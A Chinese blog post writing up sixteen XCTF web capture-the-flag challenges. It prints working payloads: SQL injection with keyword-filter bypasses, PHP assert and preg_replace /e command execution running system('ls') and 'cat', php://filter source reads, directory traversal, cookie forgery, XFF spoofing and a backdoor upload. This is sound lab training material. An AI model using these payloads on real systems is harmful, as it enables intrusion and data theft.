您的位置:首页 > 其它

XCTF攻防世界Web

2019-07-31 18:24 1771 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。 本文链接:https://blog.csdn.net/weixin_44236278/article/details/97940005

一、NaNNaNNaNNaN-Batman

下载附件以后用sublime text打开,发现是js代码
于是先把文件后缀修改为html然后再打开,会出现一个需要输入东西的页面
因为文件中出现的是代码,所以意识到需要输入的应该和代码有关,但是怎么把显示正常的代码又找了很多资料。最后是把eval换成alert执行一下实现弹窗效果,弹窗里会有正常的代码。这位大佬有更详细的解释
补充:由于用户的一些信息在不同的浏览器中可能会显示不同,而消息对话框是排他的,也就是用户点击消息对话框之前不能进行任何操作,所以经常用来调试程序。参考的文章
然后把正常的代码整理得到
我第一反应是分析代码,但是太麻烦了,果然看了大佬的文章是有简单方法的。
方法一:正则表达式
首先上参考文章
正则表达式的开头是^,结尾是$,分析代码又会得到字符串的长度为16,所以直接将if里的字符拼凑起来,输入be0f233ac7be98aa。不知道有没有什么规律,试了很多次才找对。
方法二:控制台执行代码
得到flag{it’s_a_h0le_in_0ne}

补充:
有关于eval函数的说明;
有关于splice函数的说明。

======================================================

二、PHP2

打开网页只有一句话
然后尝试URL添加后缀,访问index.php没有结果,然后访问index.phps就会出现以下界面:
查阅资料发现,.phps文件就是php的源代码文件,这里是参考资料

分析代码:
传入的id首先进行url解码然后再去和admin匹配,若匹配成功就会出现flag;

尝试直接输入?id=admin
网站应该是设置了敏感字符,不能够直接输入admin,由于代码的提示,对admin进行URL编码,但是网上的在线工具都不能转化,也没有写脚本转化,所幸admin不长,直接对照转化就行,这里是对照表
但是网页显示的结果和直接输入admin一样,而且代码中有一个解码过程,所以应该是对admin二次编码,这次可以在线转化,二次编码后的结果:%2561%2564%256d%2569%256e
拿到flag:cyberpeace{e4810ce34ab8df0326eac01e0e8bd3e1}

============================================================

三、mfw

打开链接后是一个网站
然后点击about发现这是一个git、php、bootstrap搭建而成的网站,然后访问.git,发现源码泄露
然后用githack拿到网站源码,附:githack的下载及使用方法
发现存在flag.php文件,但是打开以后发现里面并没有flag

于是打开index.php文件,发现了关键代码

<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

分析代码:
传入page参数将strpos函数闭合,就可以显示
关于strpos函数
所以构造:?page=’.system(“cat ./templates/flag.php”).’(还没明白是啥意思)
然后查看源代码:
出现flag:cyberpeace{4d8ddf28f5a516fbe369bfeda68047a1}

==========================================================

四、unserialize3

打开链接后的页面
这里是有关于序列化的介绍
根据题目的提示,执行序列化代码后的结果:
构造payload:?code=O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;},结果会出现_wakeup()函数里的内容:
所以,现在的主要问题就是如何绕过_wakeup()函数来拿到flag。
知识点:当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
public属性序列化后格式为:数据类型:属性名长度:“属性名”;数据类型:属性值长度:“属性值”。
属性名长度为1,所以把属性长度改为2就可以导致异常,构造payload:?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}就可以跳过_wakeup(),从而显示出flag
拿到flag:cyberpeace{f9dd4e9c1db1c1c0364607521de57e02}

============================================================

五、simple js

打开链接随便输入一个密码,然后会弹窗显示密码输入错误,阻止页面创建更多弹窗以后查看网页源代码发现js代码

function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab  = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

分析上面这段代码可以知道,无论输入什么密码,总会显示密码错误,而真正的密码位于fromCharCode中,所以将String内的字符串先用python处理一下会得到一串数字:55,56,54,79,115,69,114,116,107,49,50
对应ASCII码转化以后的结果是786OsErtk12
最后得到flag:Cyberpeace{786OsErtk12}

这里有对这段js代码的详细分析

============================================================

六、xff_referer

打开链接以后的页面只有一句话:ip地址必须为123.123.123.123
利用burp抓包,然后在http请求头加上X-Forwarded-For: 123.123.123.123

然后就会出现必须来自Google.com的要求,于是在请求头再加上Referer: https://www.google.com,就会拿到flag

最后得到flag:cyberpeace{2d7f24506e6d37c41bd7b7fdd7806950}
补充:
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。简单的来说就是xff可以修改http请求头的某些字段来达到伪造IP的效果。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

==========================================================

七、weak auth

打开链接后是一个登陆页面,随便输入用户名和密码就会跳转到check.php界面,查看源代码就会获得提示需要用到字典
所以使用burp抓包然后发送到intruder进行爆破。首先将上边的字典下载下来,然后再load字典
这里的用户名是admin,只对password进行爆破。start attack后会发现123456这个密码和其他的密码长度不一样,应该是正确密码,所以点击进去查看响应以后发现flag
cyberpeace{635d634b91d7823e357cb4e3d92e437c}

=====================================================

八、NewsCenter

打开链接以后发现是一个新闻页面,Search News中可以输入信息

方法一:Sql注入:参考

首先用

' and 0 union select 1,2,3 #
来判断该sql查询返回三列数据
然后用
' and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS #
查询到表名
在表的最后存在一个secret_table,这就是我们需要的表,然后再用
' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
得到 secret_table 表的列名以及数据类型
发现fl4g,然后再用
' and 0 union select 1,2,fl4g from secret_table #
就可以获得flag
拿到flag:QCTF{sq1_inJec7ion_ezzz}

方法二:sqlmap

参考资料:利用sqlmap进行Post注入
先用burp抓包,然后将捕获的http头部信息保存成1.txt文件;
执行命令:

sqlmap.py -r 1.txt --dbs

第一次使用sqlmap有点没搞懂,总是出现 unable to connect to the target URL. sqlmap is going to retry the request(s)错误提示,网上找了很多原因,比较靠谱的是waf限制,这里是使用脚本的解决方法,尝试了很多,没有成功。
终于解决了,最终原因是在用burp抓包的时候打开了代理设置,然后就会一直连不上URL,关上代理就好了。被自己蠢哭。
然后,发现了两个数据库

尝试查看News数据库中的内容,执行命令:
sqlmap.py -r 1.txt -D news --dump


拿到flag:QCTF{sq1_inJec7ion_ezzz}

=========================================================

九、upload

打开链接以后是一个注册界面,随便注册一个账号然后登陆进去,是一个上传文件页面,然后再随便上传一个文件,文件名会显示在页面上

猜测是文件名可能存在注入漏洞(咱也不知道是怎么猜的),尝试submit一个名为select的文件,结果发现文件名被过滤掉了

然后上传名为from的文件名也是同样被过滤掉了。然后上传名为selselectect的文件成功绕过,select.jpg显示在网页上。构建selselectect的原因是中间的select被过滤了以后,两边的sel和ect可以组成新的关键字。

首先查询数据库:

上传一个名为

sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg
的文件就会返回131277325825392,然后十进制转化成十六进制再转字符就会得到:web_up
说明:
这里必须使用先十六进制转成十进制的显示方式是因为遇到字母会截断,以下是测试样例

'+(selselectect dAtabase())+'.jpg => 0

​'+(selecselectt substr(dAtabase(),1,12))+'.jpg => 0

'+(selecselectt substr(hex(dAtabase()),1,12))+'.jpg => 7765625

然后继续查询:
得到1819238756 => load,然后把两个拼接起来就可以得到数据库名为

web_upload

说明:这里使用拼接的方法是因为,如果回显的数字位数太多就会使用科学记数法,然后就没有好的办法转十六进制,所以先回显1-12,然后再从13开始回显。
这里是关于substr()的说明

查表:

查询:

'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

得到:114784820031327 => hello_
继续查询:
'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg

得到:112615676665705 => flag_i
继续查询:
'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg

得到:126853610566245 => s_here
拼接起来得到表名就是:hello_flag_is_here

查字段

查询:

'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

得到:115858377367398 => i_am_f
继续查询:
'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg

得到:7102823 => lag
拼接起来得到存放flag的字段:i_am_flag

查询flag

查询:

'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

得到:36427215695199 =>
!!_@m_

继续查询:
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

得到:92806431727430 => Th.e_F
继续查询:
'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

得到:560750951 => !lag
最后拼接起来得到flag: !!@m_Th.e_F!lag
比较坑的点就是flag的格式:RCTF{ !!@m_Th.e_F!lag}
补充:参考资料

=======================================================

十、ics-05

打开页面是工控云管理系统界面
左侧栏里有很多项目,但是只有设备维护中心能够进入到另一个界面,其他的都没有变化
但是也没有发现有什么注意点,查了资料才发现原来利用PHP伪协议可以查看到源码,这里是关于PHP伪协议的介绍
主要运用到的知识点:php://filter可以进行任意文件的读取。
构造Payload:

?page=php://filter/convert.base64-encode/resource=index.php

说明:convert.base64-encode是转换过滤器,将代码转化成Base64编码。
然后就可以出现一段Base64编码
通过Base64解码就可以获得源码

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);

?>
<!DOCTYPE HTML>
<html>

<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>

<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>设备列表</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;

table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: '设备名', templet: '#nameTpl' },
{ field: 'area', title: '区域' },
{ field: 'status', title: '维护状态', minWidth: 120, sort: true },
{ field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
//监听导航点击
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>

<?php

$page = $_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if (strpos($page, 'input') > 0) {
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}

}

?>

</body>

</html>

关键代码在这:
代码审计,发现第一步就是要求 X_Forwarded_For:127.0.0.1,于是抓包,修改,然后还需要用GET的方式传递三个参数。这里用到的知识点是preg_replace()函数。preg_replace()函数会用第二个参数来代替第一个参数,而且preg_replace()与/e模式修饰符结合使用会把参数当作PHP代码执行。
于是构造

/index.php?pat=/(.*)/e&rep=system('ls')&sub=aa

发现s3chahahaDir文件夹,继续构造:
/index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir')&sub=aa
来查看该文件夹会发现有flag文件;继续构造查看flag文件夹的内容:
/index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir/flag')&sub=aa
会发现有flag.php文件,继续查看:
/index.php?pat=/(.*)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=aa
就会发现flag。
拿到flag:cyberpeace{06f44e9642841ef2091c826fadfc186c}

补充:
查看其他大佬的Wp发现有更简单的方法,但是我自己实验的过程中会一直出现错误,链接放在这,明天再来看

============================================================

十一、Triangle

这里是参考资料
打开链接以后的界面要求输入flag登录,F12找到一个校验函数以及三个js脚本


其中secret.js有三个函数,整理如下

function test_pw(e,_)
{
var t=stoh(atob(getBase64Image("eye"))),r=4096,m=8192,R=12288,a=new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9,m),a.reg_write_i32(uc.ARM_REG_R10,R),a.reg_write_i32(uc.ARM_REG_R8,_.length),a.mem_map(r,4096,uc.PROT_ALL);
for(var o=0; o<o1.length; o++)a.mem_write(r+o,[t[o1[o]]]);
a.mem_map(m,4096,uc.PROT_ALL),a.mem_write(m,stoh(_)),a.mem_map(R,4096,uc.PROT_ALL),a.mem_write(R,stoh(e));
var u=r,c=r+o1.length;
return a.emu_start(u,c,0,0),a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e)
{
var _=stoh(atob(getBase64Image("frei"))),t=4096,r=8192,m=12288,R=new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8,r),R.reg_write_i32(uc.ARM_REG_R9,m),R.reg_write_i32(uc.ARM_REG_R10,e.length),R.mem_map(t,4096,uc.PROT_ALL);
for(var a=0; a<o2.length; a++)R.mem_write(t+a,[_[o2[a]]]);
R.mem_map(r,4096,uc.PROT_ALL),R.mem_write(r,stoh(e)),R.mem_map(m,4096,uc.PROT_ALL);
var o=t,u=t+o2.length;
return R.emu_start(o,u,0,0),htos(R.mem_read(m,e.length))
}
function get_pw()
{
for(var e=stoh(atob(getBase64Image("templar"))),_="",t=0; t<o3.length; t++)_+=String.fromCharCode(e[o3[t]]);
return _
}

首先看校验函数:要想出现登录成功,test_pw(enc_pw(input),get_pw())得成立。
其中,enc_pw(input)与输入有关,而get_pw()直接存在,所以控制台直接运行get_pw()函数。

得到字符串:XYzaSAAX_PBssisodjsal_sSUVWZYYYb
接下来就是分析enc_pw()函数。其中一个很关键的点就是函数其实不需要input,内存指令在_[o2[a]],我们需要做的就是还原内存指令,对字符串进行逆向处理,然后输出正确的字符串。

接下来就是以十六进制的方式输出写入的内存信息,构造getARM1()函数和toHexString()函数。
函数解析:getARM1()直接调用o2地址存入的数组先进行base64解码,然后用另一个数组输出出来。

然后在控制台执行代码:

function getARM1()
{
var x = stoh(atob(getBase64Image("frei")));
var output = new Array();
for(var i = 0; i < o2.length ; i++)
{
output[i] = x[o2[i]];
}
return output;
}

//返回值为整数需要转化为16进制

function toHexString(byteArray)
{
return Array.from(byteArray, function(byte)
{
return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('')
}

toHexString(getARM1())

然后就会得到一串十六进制字符串:0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e20040c1e5010080e2011081e2013083e2020053e1f2ffffba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3,然后再把字符串转化成ARM指令,这里是转化地址


这里有大佬对命令的具体分析

这里是有关于ARM指令详解及实例
然后运用同样的方法把test_pw()的内存信息输出,仿照getARM1()构造getARM2()函数,然后调用toHexString(getARM2())函数。

function getARM2()
{
var x = stoh(atob(getBase64Image("eye")));
var output = new Array();
for(var i = 0; i < o1.length ; i++)
{
output[i] = x[o1[i]];
}
return output;
}

注:getARM1()和getARM2()函数的不同在于变量不同,然后存入的地址不同,具体观察secret.js
然后控制台运行代码
得到十六进制字符串:
0900a0e10a10a0e10830a0e10040a0e30050a0e300c0a0e30020d0e50060d1e5056086e201c004e200005ce30000000a036046e2060052e10500001a010080e2011081e2014084e2030054e1f1ffffba0150a0e30000a0e30010a0e30020a0e30030a0e30040a0e30060a0e30070a0e30080a0e30090a0e300a0a0e300c0a0e3
然后再转化成ARM指令得到:
根据命令结果分析会得到逆向函数:
test_pw()的逆向函数:

function findReqR6()
{
var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //从get_pw()的到的返回值
var required = new Array();
for(var i = 0 ; i < pw.length; i ++ )
{
var a = pw[i];
a = a - 5;            //原流程加5
if(i & 1 == 1)
{
a = a + 3;          // 原流程减3
}
required[i] = a;
}
return required;
}
htos(findRqR6())

然后控制台执行

得到字符串:SWu_N?<VZN=qngnm_hn_g]nQPTRXTWT`
然后接着构造enc_pw()的逆向函数:

function reverseEnc(argarray)
{
var test = 0;
var output = new Array();
for(var i = 0 ; i < argarray.length ; i++)
{
var x = argarray[i];
if(test == 1)
{
var sub = (i & 3);
x = x - sub;      //原流程加上相与值.
}
x = x - 6;               //原流程加6
test = (argarray[i] & 1);
output[i] = x;
}
return output;
}

htos(reverseEnc(findReqR6()))

然后控制台执行

得到字符串:MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ
输入界面验证login,返回Well done,说明flag找到
最终拿到flag:MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ

流程总结:

  1. F12找到校验函数以及secret.js中的三个函数,得到出现flag的判断条件
  2. 分析三个函数,其中get_pw()函数并未写入内存,是直接存在的,所以控制台直接调用;而enc_pw()函数和test_pw()函数写入内存,所以构造函数使其存入信息输出,再把字符串转化成ARM命令。
  3. 根据ARM命令构造出逆向函数

参考资料总结:

  1. 参考WP
  2. 参考ARM指令
  3. 参考ARM内存操作

============================================================

十二、bug

打开链接以后,是一个登录页面,首先选择注册一个账号,完成后登录会看到如下界面

只有点击Manage的时候会显示不是admin,没有管理员权限,所以现在可以抓包修改username为admin。具体方法是:首先logout,然后点击findpwd,验证账号以后重置密码,点击reset的时候同时抓包,然后修改username为admin

之后使用admin和修改后的密码login,点击Manage出现IP禁止的弹窗

于是点击Manage时抓包,修改请求头,添加X-Forwarded-For: 127.0.0.1,点击发送,然后查看网页源代码就会得到

index.php?module=filemanage&do=???
的提示
根据提示知道有一个模块时filename,然后要执行一个命令,根据filename猜测可能是要上传文件,do=upload是上传点,于是构造URL,访问就会得到上传文件界面

然后随便上传一个文件又会有弹窗提示"You know what i want !",于是在上传文件的时候抓包,会得到请求头以及一堆乱码,修改文件后缀,然后将文件头修改为图片文件类型文件头,将内容改为PHP格式,这里运用到的知识点是文件内容解析漏洞以及文件头的相关知识。

拿到flag:cyberpeace{e7df207e64067531e75a4f3dba2f755b}

============================================================

十三、wtf.sh-150

参考资料
点开链接以后是一个论坛的界面,可以注册登录账号、发布文章,回复等等。点击浏览几篇文章以后就会发现URL

http://111.198.29.45:46648/post.wtf?post=???
,???代表访问文章的用户名,看了Wp以后才知道这种叫做目录穿越漏洞:如果通过危险的方式访问用户可控数据的后台文件或者目录时会出现路径遍历,如果把路径遍历序列放入文件名就可以访问服务器上的任何文件。
于是构造URL:
http://111.198.29.45:46648/post.wtf?post=../
访问就会得到网站源码

搜素关键字flag就会发现关键代码,
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi
,即,如果使用admin登录的话就会得到flag1。
可以随便注册一个账号,然后登录,会发现cookie中出现了token和username字段

而且在网站源码中发现了users目录,利用文件包含漏洞就可以得到所有用户的cookie信息。

根据查询到的信息,直接在浏览器中修改cookie中的token和username值

刷新页面就会登录到admin账号,然后再Profile中会发现flag1

拿到flag1:xctf{cb49256d1ab48803

继续查看源码,会发现有对bash命令的调用,说明存在Linux脚本,直接访问wtf.sh就可以拿到脚本代码,然后查找wtf,找到关键代码

function include_page {
**# include_page pathname**
local pathname=$1
local cmd=
[[ ${pathname(-4)} = '.wtf' ]];
local can_execute=$;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
**# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf**
[[ $ = ${line01} && ${can_execute} = 0 ]];
is_script=$;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'n'${line#$};
else
if [[ -n $cmd ]]
then
eval $cmd  log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done  ${pathname}
else
echo pMax include depth exceeded!
pfi
}

这段代码的大体意思就是上传并执行wtf文件就可以控制服务器。所以现在的关键就是如何找到wtf文件。查看网页源代码会发现reply函数存在漏洞

function reply
{
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";

# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}

代码审计:由于用户名被写在了评论内容里,所以可以当作一段代码。如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码。
注:wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$'的行

所以注册一个名为

${find,/,-name,get_flag2}
的用户,登录并进行回复,然后抓包并上传后门sh.wtf
注:%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析。

之后回到原页面访问/users_lookup/sh.wtf就可以得到查看flag2的路径

之后再注册一个名为$/usr/bin/get_flag2的用户,重复上传后门的操作,就可以拿到另一半flag

最终flag:xctf{cb49256d1ab48803149e5ec49d3c29ca}

思路整理:

  1. 目录穿越漏洞拿到源码
  2. 修改cookie登录admin拿到flag1
  3. 两次注册+上传后门拿到flag2

参考资料:

  1. 参考Wp
  2. 目录穿越漏洞参考资料
  3. 文件包含漏洞参考资料
  4. 有关于bash的资料

============================================================

十四、cat

打开链接是要求输入域名的界面,按照提示,先尝试输入loli.club,然后页面毫无反应,但是URL却发生变化

接着又尝试submit了127.0.0.1,有回显信息,但是好像并没有什么用处

但是有回显说明了我们可以通过控制域名的输入来获取信息,利用URL报错。
知识点:URL编码在网络传送时,只能采用ASCII字符集,将对应字符的ASCII码转化成十六进制,而ASCII表的有效字符截止到127,对应url为%7f。如果此时传入的url大于7f,页面就会出现报错信息,所以构造:?url=%80


页面报错,回显源码,观察代码会发现网站是用Django搭建的,这里是Django框架的目录文件简介。查阅资料了解到,settings.py的database里有相关的数据库配置及信息,而且我们可以在源码中找到一些提示信息

意思就是我们能够看到报错页面是因为Django中的配置文件,所以我们的目标就是settings.py。这里有关于使用URL传输数据的总结

所以查看到settings.py内容方法就是@+完整路径,所以现在的问题就是查找settings.py的路径,还是回到源码,可以看到很多的类似文件地址

所以首先尝试构造?url=@/opt/api/settings.py,结果没有反应,又找了好多资料才知道这里用到了/api/ping请求,链接在这,但是没太明白什么意思;
最终构造:

?url=@/opt/api/api/settings.py
,然后查找页面的database,最终找到文件名

于是构造:

?url=@/opt/api/database.sqlite3
,然后搜索CTF就会找到flag

拿到flag:WHCTF{yoooo_Such_A_G00D_@}

===========================================================

十五、i-got-id-200

打开链接以后的界面

Hello World里面只有一句话:Hello World from Perl!
Forms是一个使用年龄的登录页面;
Files是一个文件上传界面;
然后通过实验发现Hello World和Forms界面中没有什么异常,Files上传文件以后会回显出一堆乱码,而且注意到此时界面跳转到后缀为.pl的文件下

.pl文件是perl语言文件的源程序的扩展名,涉及到文件的上传,可以猜测后台有param()函数,也有大佬直接猜出后台逻辑

```perl use strict; use warnings; use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) )
{ my $file= $cgi->param( 'file' );
while ( <$file> )
{ print "$_";
} }

不知道哪里出现问题了,接下来总是出问题,放在这,明天再来看

============================================================

十六、web2

打开链接审计代码,发现这题我做过,嘻嘻,不过上次是根据wp,这次自己尝试一下。
代码审计,主要是看$miwen的加密过程:
反转字符串=>for循环=>base64加密=>反转字符串=>rot13加密
逆向加密算法:
rot13解密:

n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf

字符串反转:
fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n

base64解密:~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
最后剩下for循环的解密和字符串的反转,观察for循环内容会发现关键是在第二行的+1,用PHP代码实现-1和字符串反转即可

<?php
$_o="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";
$_="";
for($_0=0;$_0<strlen($_o);$_0++){
$_c=substr($_o,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
$_=strrev($_);
echo $_;
?>

最后拿到flag:flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: